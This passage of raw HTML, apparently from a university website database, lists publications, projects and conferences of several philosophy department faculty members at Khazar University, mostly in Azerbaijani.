Article:&nbsp;“Correlation of multicultural labor units and development of personality (socio-philosophical aspects)”.&nbsp;Bakı, Xəzər Xəbər, oktyabr 2012, No. 311, səh.26-28. (İngilis dilində)&nbsp;</p><p text-indent:-.25in;line-height:150%\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">17.&nbsp; &nbsp;Article:Müasir dövrdə innovativ texnologiyaların tətbiqinin bəzi sosial-fəlsəfi aspektləri. Xəzər Xəbər, İyun,2013, No. 320, səh.26-27. (Az.dilində)</p><p text-indent:-.25in;line-height:150%\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\">18.&nbsp;&nbsp; Article: Innovasiyaların sosial-fəlsəfi təhlili (Socio-philosophical analysis of innovations- İngilis dilində) Jurnal:&nbsp; İMPACT, Amerika-Azbaycan Ticarət Palatası, No 18, 2013, səh. 46-48<strong></strong></p><p text-indent:-.25in;line-height:150%\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\">19. Article:   \"About some measures to be taken to improve pre-service education in Azerbaijan (organizational approach)\",&nbsp;Xəzər Xəbər, İyun, 2015, No. 337, (İngilis dilində). səh.60;</p><p text-indent:-.25in;line-height:150%\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\">20.&nbsp; Editing and translating (Redaktorluq və tərcümə): Reality in Lie (Yalanda Həqiqət) Müəllif: Fazil Güney. (İngilis dilində)&nbsp;İSBN 13: 978-1-48-230647-1, ABŞ, Charleston, SC, 12 İyul, 2013. 212 səh.</p><p text-indent:-.25in;line-height:200%\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\">21.&nbsp; &nbsp;Programme. (Tədris proqramı müəllifi): Koqnitiv psixoloyiya və statistika-Klinik Psixologiya üçün Fənn proqramı və Kurikulum, Bakı, Azərbaycan, &nbsp;&nbsp;Kitab: Xəzər Universiteti, Tədris vəsaitlərinə nəşr hüququ (qrif) verilmiş fənn proqramları, Bakı, Xəzər Universiteti Nəşriyyatı, 2015, 901 səhifə. – İSBN 978-9952-20-104-8</p><p text-indent:-.25in;line-height:200%\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\">22.Article:   “Ali məktəblərdə elmin vəziyyəti ilə bağli araşdirmalarımız nəyi göstərdi”, Azərbaycan Müəllimi qəzeti, 28 Noyabr, 2014-cü il, 46-cı nömrə, səh.5 (həmmüəllif)</p><p text-indent:-.25in;line-height:200%\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\">23.&nbsp; Book: Neft istehsal edən ölkələrin müasir problemləri və Azərbaycanda neftdən asılı olmayan iqtisadiyyatın qurulması yolları. İngilis dilində. (Müqayisəli yanaşma) MODERN CHALLENGES OF OIL PRODUCING COUNTRIES AND THE WAYS FOR ESTABLISHING A NON-OIL DEPENDENT ECONOMY IN AZERBAIJAN (Comparative approach), İngilis dilində, Bakı, Müəllim” nəşriyyatı, 2014-cü il, 95 səhifə (Həmmüəllif) İSBN 978-9952-435-55-9</p><p text-indent:-.25in;line-height:150%\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\">24.<a>&nbsp; Textbook&nbsp;Manual &nbsp;(Dərs vəsaiti): “Qloballaşma və fəlsəfə. Baki”, “Müəllim” nəşriyyatı, 2017.- S. 34</a></p><p>25.&nbsp; &nbsp;Editor (Elmi redaktor: Eldar Şahgəldiyev: Ermənistan-Azərbaycan-Dağliq Qarabağ münaqişəsində köçkün olmuş insanlara tətbiq olunan social-psixoloji yardım proqramları (Təhlil və mülahizələr) Müəlliflər: Qənirə İsgəndərova, Rəna Şahgəldiyeva:&nbsp; Bakı, “Müəllim“ nəşriyyatı,&nbsp; 2016, 123 səhifə, İSBN 978-9952-435—70-2 (Azərbaycan dilində)</p><p text-indent:-.25in;line-height:150%\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\">26.&nbsp;&nbsp; <a></a>Article:    “England\'s Changing Foreign Policy in Its Modem International Relations”,&nbsp;<span lang=\"AZ-LATIN\" style=\"line-height:107%\">2016.&nbsp;</span><a href=\"https://www.academia.edu/24977493/Englands_Changing_Foreign_Policy_in_Its_Modern_International_Relations\">ttps://www.academia.edu/24977493/Englands_Changing_Foreign_Policy_in_Its_Modern_International_Relations</a>&nbsp;&nbsp; &nbsp;&nbsp;<a href=\"https://khazar.academia.edu/EldarShahgaldiyev\">https://khazar.academia.edu/EldarShahgaldiyev</a>&nbsp;4 səhifə, on line, 2016. https://khazar.academia.edu/EldarShahgaldiyev</p><p text-indent:-.25in;line-height:150%\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\">27.&nbsp; &nbsp;Editing and Referencing: Monoqrafiya “Platonun əsərlərində qanun ideyası”. M. Əkbərov, Bakı, \"CBS PP\", 2017, 248&nbsp;səh. (Azərbaycan dilində)</p><p text-indent:-.25in;line-height:150%\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\">28.&nbsp;&nbsp; Manual Textbook: “İnnovasiyalar və onların tətbiqinin sosial-fəlsəfi məsələləri”. Baki, “Müəllim” nəşriyyatı, 2017. - S. 29</p><p>29.&nbsp;&nbsp; Article:   “About the history of Jewish norms and laws”. Baku, “Civilization”, Vol.6, Nr.2 (34), 2017. &nbsp;pp. 121-126 (co-authorship) (İngilis dilində)</p><p>&nbsp;30.&nbsp;&nbsp;Article:   “Innovations and questions of their applications. Baku, “Civilization”, Vol.6, Nr.3 (35), 2017. pp. 7-11.&nbsp;(İngilis dilində)</p><p text-indent:-.25in;line-height:150%\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\">31.&nbsp;Article:   “Высшееобразование и миграция студентов за рубеж“, Этносоциум и межнациональная культура, № 11 (113), Международный издательский центр “ЭТНОСОЦИУМ” - ВАК Министерства образования и науки России, Москва -Этносоциум 2017, стр., 140 -149 .&nbsp;-&nbsp;С. 192 (İngilis&nbsp;dilində)</p><p text-indent:-.25in;line-height:150%\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\">32.&nbsp;&nbsp;Article:   “ GENESIS OF ESTABLISHMENT AND ESSENTIAL CHARACTERISTICS OF ANCIENT LAWS AND NORMS”. International Journal of Arts Humanities and Social Sciences (IJAHSS), peer-reviewed monthly journal, paper İD “1079495372, İndia, December 2017 (co-authorship) (İngilis dilində)</p><p text-indent:-.25in;line-height:150%\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\">33. Article:   \"Azerbaijan as sending and receiving country in students\" migration\", Cultural World\", No. 12, Moscow-London.&nbsp;pp. 45-58. -&nbsp;P. 63&nbsp;(İngilis dilində)&nbsp;<br></p><p text-indent:-.25in;line-height:150%\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\">34. Article:  &nbsp;Fəlsəfə və sosiologiya: “İnnovasiyaların anlayış aparatı və tarixinə dair”,&nbsp;&nbsp;“Sivilizasiya” jurnalı, Cild 6, N.4, 2017 (36), səh. 7-13. -S. 222&nbsp;<br></p><p text-indent:-.25in;line-height:150%\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\">35. Referencing:&nbsp;“Ali təhsildə dünya təcrübəsi”(müəllif-İsaxan Abdulla oğlu İsaxanlı),&nbsp;Dərs vəsaiti üçün rəy,&nbsp;Bakı, Xəzər Univer.&nbsp;nəşriyyatı, Aprel, 2017. - S.37&nbsp;</p><p text-indent:-.25in;line-height:150%\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\">36. Article:  &nbsp;“Qızıl payız lövhələri və Qarabağ...”&nbsp; Aznews.az, 17 Yanvar, 2018&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; http://www.aznews.az/news/cemiyyet/162563.html;&nbsp;&nbsp;</p><p text-indent:-.25in;line-height:150%\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\">37. Article:  &nbsp;“Qızıl payız lövhələri və Qarabağ...”-&nbsp;esse-etüd,&nbsp;“Xəzər-Xəbər”, Nr. 369, Yanvar, 2018, səh.60</p><p text-indent:-.25in;line-height:150%\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\">38.Article:  &nbsp;“Qədim yunan fəlsəfəsi və onun klassik mərhələsi”,&nbsp;“Xəzər-Xəbər”, Nr. 371, Mart, 2018,&nbsp;səh.52-56 (həmmüəllif);&nbsp;&nbsp;;</p><p text-indent:-.25in;line-height:150%\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\">39. Article:  &nbsp;“Fəlsəfədə varlıq və materiya problemi”,&nbsp;Baku, “Civilization”, Vol.7, Nr.1 (37), 2018. (həmmüəllif).&nbsp;&nbsp;</p><p text-indent:-.25in;line-height:150%\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\">40. Article:  &nbsp;“Antik Yunan və Roma fəlsəfəsi”,&nbsp;Baku, “Civilization”, Vol.8, Nr.2 (37), 2018.&nbsp;&nbsp;</p><p text-indent:-.25in;line-height:150%\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\">41. Article:  &nbsp;“Sivilizasiya və mədəniyyət, onların qarşılıqlı əlaqəsi”,&nbsp;Bakı, ADMİU-nun “Mədəniyyət dünyası” elmi jurnalı, XXV, 2018</p><p text-indent:-.25in;line-height:150%\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\">42. Article:  \"Conscious is the highest reflection of reality\"&nbsp;,&nbsp;Baku, “Civilization”, Vol.7, Nr.1 (37), 2018.</p>  <div><br></div><p text-indent:-.25in;line-height:150%\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><br></p>  <p style=\"text-align: left;\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;line-height:150%\"=\"\"><span style=\"text-align:left\">&nbsp;</span><strong style=\"text-align:left\">Mail Yagubov Ph D.</strong></p></div><div><p style=\"font-size:medium\"><strong>Books:</strong></p><p style=\"font-size:medium\">1.Philosophy of religion.Nurlar Publishing House.Baku, 2011. 250 pages</p><p style=\"font-size:medium\">2. Meditations on the&nbsp;metaphysics.&nbsp;Nurlar Publishing House.Baku, 2012. 104 pages</p><p style=\"font-size:medium\"><strong>Articles:</strong></p><p style=\"font-size:medium\">1.&nbsp;<a href=\"http://www.mediaforum.az/az/2012/07/13/D%C4%B0N-v%C9%99-ELM-1-054743407c06.html\" target=\"_blank\">DİN və ELM (1)</a>&nbsp;Mediaforum.az, 13.07.2012</p><p style=\"font-size:medium\">2.&nbsp;<a href=\"http://www.mediaforum.az/az/2012/07/16/D%C4%B0N-v%C9%99-ELM-2-105634715c06.html\" target=\"_blank\">DİN və ELM (2)</a>&nbsp;Mediaforum.az, 16.07.2012</p><p style=\"font-size:medium\">3.&nbsp;<a href=\"http://www.mediaforum.az/az/2012/07/17/D%C4%B0N-v%C9%99-ELM-3-122426380c06.html\" target=\"_blank\">DİN və ELM (3)</a>&nbsp;Mediaforum.az, 17.07.2012</p><p style=\"font-size:medium\">4.&nbsp;<a href=\"http://www.mediaforum.az/az/2012/06/22/D%C4%B0N-v%C9%99-%C6%8FXLAQ-1-024809983c06.html\" target=\"_blank\">DİN və ƏXLAQ (1)</a>&nbsp;Mediaforum.az, 22.06.2012</p><p style=\"font-size:medium\">5.&nbsp;<a href=\"http://www.mediaforum.az/az/2012/07/03/D%C4%B0N-v%C9%99-%C6%8FXLAQ-2-045820736c06.html\" target=\"_blank\">DİN və ƏXLAQ (2)</a>&nbsp;Mediaforum.az, 03.07.2012</p><p style=\"font-size:medium\">6.&nbsp;<a href=\"http://www.mediaforum.az/az/2012/07/04/D%C4%B0N-v%C9%99-%C6%8FXLAQ-3-115647539c06.html\" target=\"_blank\">DİN və ƏXLAQ (3)</a>&nbsp;Mediaforum.az, 04.07.2012</p><p style=\"font-size:medium\">7.&nbsp;<a href=\"http://www.mediaforum.az/az/2012/06/14/KAM%C4%B0L-D%C4%B0N-061120125c06.html\" target=\"_blank\">KAMİL DİN</a>&nbsp;Mediaforum.az, 14.06.2012</p><p style=\"font-size:medium\">8.&nbsp;<a href=\"http://www.mediaforum.az/az/2012/06/06/D%C4%B0N%C4%B0-PL%C3%9CRAL%C4%B0ZM-115936630c06.html\" target=\"_blank\">DİNİ PLÜRALİZM</a>&nbsp;Mediaforum.az, 06.06.2012</p><p style=\"font-size:medium\">9.&nbsp;<a href=\"http://www.mediaforum.az/az/2012/06/01/D%C4%B0N%C4%B0N-QAYNA%C4%9EI-040110334c06.html\" target=\"_blank\">DİNİN QAYNAĞI</a>&nbsp;Mediaforum.az, 01.06.2012</p><p style=\"font-size:medium\">10.&nbsp;<a href=\"http://www.mediaforum.az/az/2012/05/16/ORTA-YOL-035030004c06.html\" target=\"_blank\">ORTA YOL</a>&nbsp;Mediaforum.az, 16.05.2012</p><p style=\"font-size:medium\">11.&nbsp;<a href=\"http://www.mediaforum.az/az/2012/05/10/%C6%8FQL-v%C9%99-D%C4%B0N-010534765c06.html\" target=\"_blank\">ƏQL və DİN</a>&nbsp;Mediaforum.az, 10.05.2012</p><p style=\"font-size:medium\">12.&nbsp;<a href=\"http://www.mediaforum.az/az/2012/05/08/D%C4%B0N-v%C9%99-F%C6%8FLS%C6%8FF%C6%8F-015018379c06.html\" target=\"_blank\">DİN və FƏLSƏFƏ</a>&nbsp;Mediaforum.az, 08.05.2012</p><embed style=\"font-size:medium\" lang=\"AZ-LATIN\" href=\"http://www.khazar.org/files/philosophy_depart/Musahibe-Edalet%20qezeti.pdf\" target=\"_blank\" type=\"application/x-shockwave-flash\">\"&gt;13.&nbsp;<a href=\"http://www.khazar.org/files/philosophy_depart/Nizami-Edalet.pdf\">Nizami Gəncəvinin fəlsəfi irsində “Ədalət” nəzəriyyəsi</a><br><p>14.&nbsp;<a href=\"http://www.khazar.org/files/philosophy_depart/Musahibe-PIA.AZ.pdf\">Filosof: “Nəyə görə ana müqəddəs olmalıdır?” – Müsahibə</a></p><p>15.<a href=\"http://www.khazar.org/files/philosophy_depart/Musahibe-Edalet%20qezeti.pdf\">&nbsp;İstedad olmadan böyük nailiyyət qazanmaq çətindir...</a></p>  <p style=\"font-size:medium\"><br></p><p style=\"font-size:medium\"><br></p>\r\n<p style=\"font-size:medium\"><strong>Cavid Imamoghlu Ph D.</strong></p><p style=\"font-size:medium\"><strong>Articles:</strong></p><p style=\"font-size:medium\">1.&nbsp;AMEA Fəlsəfə, Sosiologiya və Hüquq İnstitutunun “Elmi əsərlər” Beynəlxalq elmi-nəzəri jurnalının 2013-ci il,&nbsp;&nbsp;1-ci (20) sayı&nbsp;“Yaşlı&nbsp; &nbsp;intiharlarının&nbsp;əsas səbəbləri və önləyici tədbirlər” -&nbsp;article</p><p style=\"font-size:medium\">2. “Ahıllar sosial işin obyekti kimi”. Müasir dövrün aktual problemləri elmi əsərlər toplusu, №3, 2010-&nbsp;article</p><p style=\"font-size:medium\">3. \"Ahılların psixoloji davranışında ailənin rolu.\" Müasir dövrün aktual problemləri elmi əsərlər toplusu, №3, 2010 -article</p><p style=\"font-size:medium\"><strong>Conferences:</strong></p><p style=\"font-size:medium\"><strong>&nbsp;</strong>• Women Deliver&nbsp; -3rd Global Conference in Kuala Lumpur, Malaysia. (May, 2013)</p><p style=\"font-size:medium\">• Lankaran-June, 2013. Trainer -&nbsp;“Empowering Women In Traditional Societies: Agency And Entrepreneurship” conducted by FNF and CRC</p><p style=\"font-size:medium\">• Ganja-September, 2013. Moderator at the “Conference on the role of woman in the society” conducted by Young Leaders Public Union</p><p style=\"font-size:medium\">• Moscow-September, 2013. Conference &nbsp;“The psycho-social well&nbsp;being of young&nbsp;people at XXI century”</p><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\"><strong>Elsavar Samadov Ph D.</strong></p><p style=\"font-size:medium\"><strong>Books</strong></p><p style=\"font-size:medium\"><strong>1.&nbsp;</strong>Relationship between State and Religion, Teknur, Baku, 2009.</p><p style=\"font-size:medium\"><strong>2. &nbsp;</strong>Eschatology: Myth and Reality, Nurlar, Baku, 2009.</p><p style=\"font-size:medium\"><strong>3.&nbsp;</strong>Islamic Moral, Ipekyolu, Baku, 2010.</p><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\"><strong>Articles:</strong>&nbsp;</p><ol style=\"font-size:medium\"><li>Individual estimate of religious education impact in Azerbaijan, “Azerbaijan and Azerbaijanian” Baku, No: 1-4 2007.</li><li>Eschatology Problem in Islamic Thought, “Azerbaijan and Azerbaijanian” Baku, No: 5-12, 2007.</li><li>Christianity Fundamentalism, Scientific Works, Baku, No: 1(14), pp.43-55.</li><li>Eschatology and Actions of Missioners, “Science”, Baku, No: 41-44(848-851); 29.12.2007.</li><li>Social- cultural life in Azerbaijan in Soviet period: Religion, Education and Religious Education, “Degerler”, Turkey, October 2008, No: 4, pp. 44-56.</li><li>Christianity and Islamic Fundamentalism: Comparative analysis, “Scientific Works”, Baku, No: 1(15), pp.220-229.</li><li>Midrise in Azerbaijan, World of Muslims, Moscow, 2011, No: 49 (3), pp.24-32.</li><li>Philosophy of Religion, “Science”, Baku, No: 37-38(844-845); 30.11.2007.</li><li>Theosophical Sufi Ibn Arabi`s philosophy of love, International Symposium from Yunis Emre to Muhammed Fuzili, Baku, 2011, pp 48-54.</li><li>&nbsp;Postmodernism and Ethical, National-Spiritual values, “Philosophy”, No: 1(14), Baku, 2010, pp. 227-233.</li><li>&nbsp;Fundamentalism in history of Christian Social thought: main point, directions of idea and political, “Scientific Works”, No: 1(14), 2010, pp.43-55.</li><li>Celaladdin Rumi-800: View to World by purified heart, “Science”, No: 35-36(842-843), 15.XI, 2007, p. 6.</li><li>Islam in Azerbaijan, Boley University, Bucharest, Romania.</li><li>Religious fundamentalism: Traces of fundamentalism in Azerbaijan, “Freedom of Religion in Kazakhstan” international conference material, Astana, Kazakhstan- 2013.</li></ol><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\">&nbsp;<strong>Conferences</strong>:</p><ol style=\"font-size:medium\"><li>“Religious Edication in European Countries” International Conferanse in Istanbul, Turkey, 2007.</li><li>“Baku International Humanitarian Forum”, Baku, Azerbaijan, Octember, 2011.</li><li>“Dialogue between Cultures: In Prism Cultural Diversity, International Symposium, Baku, Azerbaijan, April, 2011.</li><li>“International Symposium from Yunis Emre to Muhammed Fuzili, Baku, 2011</li><li>“Freedom of Religion in Kazakhstan” international conference material, Astana, Kazakhstan, 19 Mart- 2013.<br></li></ol>  <br></div>'),(1118,697,'az','Nəşrlər','Nəşrlər','<div style=\"text-align:left\"><div><strong>E<span style=\"font-size:medium\">ldar Şahgəldiyev- PhD, Dosent</span></strong></div><div><strong><br></strong></div><div style=\"text-align:left\"><p style=\"text-align:left;line-height:150%\"><strong><span style=\"font-size: medium; line-height: 150%; text-decoration: underline;\" class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"\" rel=\"media73474100247927\" width=\"150\" height=\"100\">Xüsusi\r\nlayihələr</span></strong><span style=\"font-size:11.0pt;line-height:150%;text-decoration:underline\" class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"\" rel=\"media6525933666261341\" width=\"150\" height=\"100\"></span></p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-indent:-.25in;line-height:150%\"=\"\">1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nBMT və BMT QAK -Zəlzələ\r\nqurbanlarına Fövqəladə Yardım Proqramı(OXFAM-1997)-Proqram\r\nrəhbəri;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-indent:-.25in;line-height:150%\"=\"\">2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nANAMA üçün Minalardan təmizləmə proqram Layihəsinin müəllifi:\r\nAzərbaycan və BMT-nin Proqram Ofisi (UNOPS) QHT sektoru (2000, davam edir)-Layihı\r\nmüəllifi;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-indent:-.25in;line-height:150%\"=\"\">3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMiqrasiyanın idarə olunması və treyninq proqramları sahəsində\r\nbacarıqların inkişaf etdirilməsi, (BMqT-IOM\r\nAzərbaycan-1999-2003)-Layihə müəllifi;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-indent:-.25in;line-height:150%\"=\"\">4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nİngilis dilinin daşıyıcıları üçün&nbsp; Azərbaycan dilinin xüsusi tədris proqramı (ALENS) , multi medianın tam dəstəyi ilə-Layihə\r\nmüəllifi;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-indent:-.25in;line-height:150%\"=\"\">5.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nUNIMIG – Miqrasiya və Ali Təhsil –\r\nBilik və Bacarıqların Aşılanması&nbsp;<strong>“</strong>TEMPUS-1-2011-1-GE-TEMPUS-JPCR\r\n– Layihə rəhbəri- 2011-2014.</p>\r\n<p>6.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nProject&nbsp; (Erasmus Plus): Hamlet Isaxanli, Eldar\r\nShahgaldiyev: “State Of The Art on Doctoral Studies in Azerbaijan”&nbsp; - NIZAMI RESTRUCTURING AND DEVELOPMENT OF\r\nDOCTORAL STUDIES IN AZERBAIJAN IN LINE WITH REQUIREMENTS OF HIGHER EDUCATION\r\nAREA,&nbsp;\r\n561784-EPP-1-2015-1-FR-EPPKA2-CBHE-SP, JANUARY 2016</p>  <p style=\"text-align:left\"><strong><span style=\"font-size:11.0pt;text-decoration:underline\" class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"\" rel=\"media8813107278422203\" width=\"150\" height=\"100\">Dərslik, Monoqrafiya, Məqalələ, Tərcümələr\r\nvə Elmi Redaktorluq İşləri</span></strong></p><p style=\"text-align:left\">&nbsp;<strong>(Xronoloji ardıcıllıqla)</strong></p>\r\n<p style=\"font-size:medium\">&nbsp;<span lang=\"AZ-LATIN\" style=\"text-indent:-0.25in;line-height:200%\">1.<span style=\"font-variant-numeric:normal;font-stretch:normal;line-height:normal\">&nbsp; &nbsp; &nbsp;&nbsp; &nbsp;</span></span><span lang=\"AZ-LATIN\" style=\"text-indent:-0.25in;line-height:200%\">Anket sorğu broşüra: “Şəxsiyyət nədir?” əmək qruplarının mənəvi\r\npsixolojimühitinə dair sosioloji sorğunun aparılması üçün Anket , Bakı, 1990\r\n(Azərbaycanca), 8 səhifə</span></p><p>2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMəqalə: Orta məktəblərdə İngilis dilinin tədrisi- Nitq və\r\noxunun tədrisində qabaqcıl təcrübə, Bakı, Azərbaycan, 1990;</p>\r\n<p style=\"\" text-indent:-.25in;line-height:200%\"=\"\">3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMonoqrafiya: “Mənəvi psixoloji mühit” anlayışının məzmun təhlili,\r\n“Əmək kollektivinin mənəvi psixoloji mühiti”, Bakı, Gənclik, 1991 (Rus dilində),\r\n182 səhifə;</p>\r\n<p style=\"\" text-indent:-.25in;line-height:200%\"=\"\">4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMəqalə: “Mənəvi psixoloji mühit” anlayışının məzmun təhlilinə\r\ndair”. Azərbaycan Elmlər Akademiyasının jurnalı“Tarix, Fəlsəfə, Hüquq” 1991,&nbsp;№ 12.</p>\r\n<p style=\"\" text-indent:-.25in;line-height:200%\"=\"\">5.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nDərslik :Universitet tələbələri üçün kitab -&nbsp;dərslik: “Oxu\r\nmövzuları və müzakirələr” (Reading Topics and Discussions), Bakı, Xəzər\r\nUniversitieti nəşriyyatı, 2007 (İngilis dilində), 184 səhifə;</p>\r\n<p style=\"\" text-indent:-.25in;line-height:200%\"=\"\">6.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nRedaktorluq: Kitabların tərcüməsi və redaktoru: “Axşam əhvalatları”,\r\n(Evening Stories) Bakı, Şəms, 2007 (İngilis dilində);</p>\r\n<p style=\"\" text-indent:-.25in;line-height:200%\"=\"\">7.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMəqalə və tezis: Xülasə və Hesabat: “ Müəllim kadrlarının\r\nkeyfiyyətinin artırılmasında qiymətləndirmənin rolunun nəzəri və praktik əsaslandırılması”\r\n-“Təhsilin Dəyərləndirilməsi üzrə Beynəlxalq Assosiasiyanın 33-cü Beynəlxalq İllik\r\nKonfransı, 16-21 Sentyabr, 2007, Bakı şəhəri, 2007, s. 129(İngilis dilində) <a href=\"http://iaea2007.tqdk.gov.az/ca/Theoretical%20and%20Practical%20Substantiations.pdf\">http://iaea2007.tqdk.gov.az/ca/Theoretical%20and%20Practical%20Substantiations.pdf</a><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1296/1/DR%20%20Eldar%20Shahgaldiyev%20The%20Role%20of%20Assessment%20in%20Improving%20Teacher%20Quality.pdf\">http://dspace.khazar.org/jspui/bitstream/123456789/1296/1/DR%20%20Eldar%20Shahgaldiyev%20The%20Role%20of%20Assessment%20in%20Improving%20Teacher%20Quality.pdf</a>;</p>\r\n<p>İnternational\r\nAssociation for Educational Assessmet 33rd Annual Conference, 16-21September </p>\r\n<p>2007, Baku-Conference\r\nProgramme and Abstracts (SSAC of the Republic of Azerbaijan)</p>\r\n<p style=\"\" text-indent:-.25in;line-height:200%\"=\"\">8.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nBroşüra: Bioetika tələbələri üçün tapşırıqlar (Tibb\r\nUniversiteti tələbələri üçün broşüra,) Bakı, Azərbaycan Tibb Universiteti Nəşriyyatı,\r\n2007, 90 səhifə</p>\r\n<p style=\"\" text-indent:-.25in;line-height:200%\"=\"\">9.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nTərcümə:&nbsp;&nbsp;“On the traces of Fazlullah Naimi” (Fəzullah Nəminin\r\nizi ilə) (Müəllif:&nbsp;professor Camal Mustafayev) (Azərbaycan dilindən İngilis dilinə tərcümə),\r\nXəzər Xəbər, May-İyun, 2008. # 250-252, <a href=\"http://iaea2007.tqdk.gov.az/ca/Theoretical%20and%20Practical%20Substantiations.pdf\">http://iaea2007.tqdk.gov.az/ca/Theoretical%20and%20Practical%20Substantiations.pdf</a></p>\r\n<p style=\"\" text-indent:-.25in;line-height:200%\"=\"\">10.&nbsp;&nbsp;\r\nRedaktor: Tibb Universiteti tələbələri üçün dərsliyin\r\nredaktoru “İnsan anatomiyası” (İngilis dilində) (professor E. Ələkbərov) Bakı, Xəzər\r\nUniversiteti, 2007, 388 səhifə;</p>\r\n<p style=\"\" text-indent:-.25in;line-height:150%\"=\"\">11.&nbsp;&nbsp;\r\nMəqalə: Türk dünyasının qlobal inkişafının yeni meylləri (\r\nThe New Trends of Global Development in Turkish World) (İngilis dilində): Xəzər\r\nXəbər, 15 sentyabr, 2009, No. 273, səh.17-19. </p>\r\n<p style=\"\" text-indent:-.25in;line-height:200%\"=\"\">12.&nbsp;&nbsp; Tərcümə: Biblioqrafiyanın tərcüməsi: Hamlet İsaxanlının (Alim,\r\nUniversitetin qurucusu, şair) Biblioqrafiyası,&nbsp;\r\nXəzər Universitei Nəşriyyatı, Bakı, 2010, 247 s.</p>\r\n<p style=\"\" text-indent:-.25in;line-height:200%\"=\"\">13.&nbsp;&nbsp;\r\nMəqalə: “Qloballaşma: Şəxsiyyətlərarası əlaqələrin mütəşəkkil\r\nicma qruplarında bəzi implikasiyaları”, (Mədəniyyətlərarası dialoq üzrə Dünya\r\nForumu, “Müasir Dünyada Mədəni Müxtəliflik və Dialoq Fəlsəfəsi”. Beynəlxalq\r\nkonfrans, Bakı, Azərbaycan, 7-9 Aprel, 2011.səh. 124-127;</p>\r\n<p style=\"\" text-indent:-.25in;line-height:200%\"=\"\">14.&nbsp;&nbsp;\r\nMəqalə:“Herbert Midin (Herbert Mead) introspektiv “Mən”i\r\nobyekt və subyektin qarşılıqlı əlaqə prosesi kimi və&nbsp; onun mütəşəkkil icma qruplarının mənəvi - psixoloji\r\nmühitinin dəyərləndirilməsində rolu”, Polşa Xalq Respublikası, Fəlsəfə\r\nİnstitutu, Beynəlxalq Konfrans, Polşa,Opole Universiteti, 20-24 iyun, 2011, <a href=\"http://aaev.uni.opole.pl/index.php/conferences/2011/texts\">http://aaev.uni.opole.pl/index.php/conferences/2011/texts</a></p>\r\n<p style=\"\" text-indent:-.25in;line-height:150%\"=\"\">15.&nbsp;&nbsp;\r\nMəqalə: Çoxmədəniyyətli əmək kollektivi ilə şəxsiyyətin\r\ninkişafının qarşılıqlı əlaqəsi və nisbəti. Azərbaycan Beynəlxalq\r\nHumanitar Forum, Oktyabr-5-7, 2012, Bakı şəhəri&nbsp;\r\n(İngilis 